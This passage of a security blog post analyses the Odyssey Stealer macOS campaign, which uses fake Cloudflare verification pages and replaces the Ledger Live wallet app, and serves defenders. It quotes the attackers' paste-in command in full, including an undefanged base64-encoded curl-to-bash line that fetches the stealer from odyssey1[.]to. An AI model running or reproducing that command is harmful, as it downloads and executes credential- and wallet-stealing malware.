{"id":31095,"date":"2025-06-11T03:13:58","date_gmt":"2025-06-11T03:13:58","guid":{"rendered":"https:\/\/gridinsoft.com\/blogs\/?p=31095"},"modified":"2025-06-14T01:50:57","modified_gmt":"2025-06-14T01:50:57","slug":"odyssey-stealer-macos-malware","status":"publish","type":"post","link":"https:\/\/gridinsoft.com\/blogs\/odyssey-stealer-macos-malware\/","title":{"rendered":"Odyssey Stealer: Russian ‘Love Trump’ Malware Replaces Ledger Live Crypto Wallet App"},"content":{"rendered":"

A new macOS malware campaign is targeting users through social engineering, masquerading as legitimate Cloudflare security verification. The Odyssey Stealer<\/strong> represents a significant escalation in Mac-targeted cybercrime, combining deceptive web pages with AppleScript-based data theft capabilities.<\/p>\r\n\r\n

Analysis of the malware reveals intriguing geopolitical elements, with persistence mechanisms using file names like com.love.russia.plist<\/code> and staging directories named lovemrtrump<\/code> – suggesting potential connections to Russian threat actors with apparent political motivations. Most concerning is the malware’s ability to replace legitimate cryptocurrency applications like Ledger Live<\/a> with trojaned versions, compromising hardware wallet security and stealing private keys during transactions.<\/p>\r\n\r\n

The Deception Chain: From Fake Verification to Full Compromise<\/h2>\r\n\r\n

The attack begins when users are redirected to seemingly legitimate domains like macosx-apps[.]com<\/code> (macosxappstore[.]com, appmacosx[.]com<\/a>) displaying convincing Cloudflare-styled verification pages. These pages present users with an “Unusual Web Traffic Detected” warning and request manual verification through terminal commands.<\/p>\r\n

\"macosx-apps
macosx-apps – Fake Cloudflare verification page<\/figcaption><\/figure>\r\n

The fake verification page instructs users to:<\/p>\r\n

    \r\n
  1. Press Command + Space<\/kbd> to open Spotlight<\/li>\r\n
  2. Type “Terminal” and press Return<\/li>\r\n
  3. Copy and paste a provided command<\/li>\r\n
  4. Execute the command to “verify” their legitimacy<\/li>\r\n<\/ol>\r\n\r\n

    What appears to be a simple verification text is actually a base64-encoded malicious command: echo \"Y3VybCAtcyBodHRwOi8vb2R5c3NleTEudG86MzMzMy9kP3U9b2N0b2JlciB8IG5vaHVwIGJhc2ggJg==\" | base64 -d | bash<\/code><\/p>\r\n\r\n

    When decoded, this reveals the true payload: curl -s hxxp[:]\/\/odyssey1[.]to:3333\/d?u=october | nohup bash &<\/code> – a command that downloads and executes an AppleScript stealer from the attacker’s server.<\/p>\r\n\r\n\r\n

    \r\n \r\n \r\n \r\n \r\n <\/marker>\r\n <\/defs>\r\n \r\n \r\n \r\n \r\n \r\n Odyssey Stealer Attack Flow<\/text>\r\n \r\n \r\n \r\n User Redirected<\/text>\r\n to macosx-apps.com, macosxappstore.com, appmacosx.com<\/text>\r\n fake Cloudflare page<\/text>\r\n \r\n \r\n \r\n \r\n \r\n \r\n Fake Verification<\/text>\r\n “Unusual Traffic”<\/text>\r\n Terminal Instructions<\/text>\r\n \r\n \r\n \r\n \r\n \r\n \r\n Base64 Command<\/text>\r\n User copies and<\/text>\r\n executes in Terminal<\/text>\r\n \r\n \r\n \r\n \r\n \r\n \r\n Script Download<\/text>\r\n from odyssey1[.]to:3333<\/text>\r\n AppleScript Payload<\/text>\r\n \r\n \r\n \r\n \r\n \r\n \r\n Data Collection<\/text>\r\n Browser credentials,<\/text>\r\n wallets, system info<\/text>\r\n \r\n \r\n \r\n \r\n \r\n \r\n Data Exfiltration<\/text>\r\n ZIP upload to<\/text>\r\n odyssey1[.]to server<\/text>\r\n \r\n \r\n \r\n \r\n \r\n \r\n Persistence Setup<\/text>\r\n LaunchDaemon<\/text>\r\n com.love.russia.plist<\/text>\r\n \r\n \r\n \r\n \r\n \r\n \r\n App Replacement<\/text>\r\n Malicious Ledger Live<\/text>\r\n installation<\/text>\r\n \r\n \r\n \r\n \r\n \r\n \r\n Ongoing Control<\/text>\r\n Botnet binary<\/text>\r\n execution loop<\/text>\r\n \r\n \r\n High Risk:<\/text>\r\n Complete system compromise, credential theft, crypto wallet access<\/text>\r\n \r\n Persistence:<\/text>\r\n Survives reboots, runs continuously, replaces legitimate applications<\/text>\r\n \r\n Detection:<\/text>\r\n Monitor \/tmp\/lovemrtrump\/, network connections to odyssey1[.]to, LaunchDaemon processes<\/text>\r\n <\/svg>\r\n<\/div>\r\n\r\n\r\n

    Advanced AppleScript Capabilities: Beyond Basic Info-Stealing<\/h2>\r\n\r\n

    The Odyssey Stealer distinguishes itself through obfuscation and comprehensive data collection capabilities. The malware employs randomized function names (like f7220708984353234618<\/code> and v4763105019481279311<\/code>) to evade signature-based detection while systematically harvesting sensitive information.<\/p>\r\n\r\n

    Targeted Data Collection<\/h3>\r\n\r\n

    The stealer focuses on high-value targets across multiple categories:<\/p>\r\n\r\n